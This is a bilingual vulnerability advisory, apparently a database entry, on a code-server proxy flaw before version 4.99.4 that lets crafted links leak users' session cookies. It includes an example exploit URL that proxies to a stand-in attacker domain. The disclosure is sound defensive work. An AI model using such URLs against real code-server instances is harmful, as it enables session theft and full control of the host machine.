Vulnerability Information
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Vulnerability Title
code-server session cookie can be extracted by having user visit specially crafted proxy URL
Vulnerability Description
code-server runs VS Code on any machine anywhere through browser access. Prior to version 4.99.4, a maliciously crafted URL using the proxy subpath can result in the attacker gaining access to the session token. Failure to properly validate the port for a proxy request can result in proxying to an arbitrary domain. The malicious URL `https://<code-server>/proxy/test@evil.com/path` would be proxied to `test@evil.com/path` where the attacker could exfiltrate a user's session token. Any user who runs code-server with the built-in proxy enabled and clicks on maliciously crafted links that go to their code-server instances with reference to /proxy. Normally this is used to proxy local ports, however the URL can reference the attacker's domain instead, and the connection is then proxied to that domain, which will include sending cookies. With access to the session cookie, the attacker can then log into code-server and have full access to the machine hosting code-server as the user running code-server. This issue has been patched in version 4.99.4.
CVSS Information
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L
Vulnerability Type
未有动机的代理或中间人(混淆代理)
Vulnerability Title
Coder Code-Server 安全漏洞
Vulnerability Description
Coder Code-Server是美国Coder公司的一款基于微软开源的 Visual Studio Code 开发的产品。用于为开发者构建一个便捷统一的开发环境。 Coder Code-Server 4.99.4之前版本存在安全漏洞，该漏洞源于未正确验证代理请求端口，可能导致会话令牌泄露。
CVSS Information
N/A
Vulnerability Type
N/A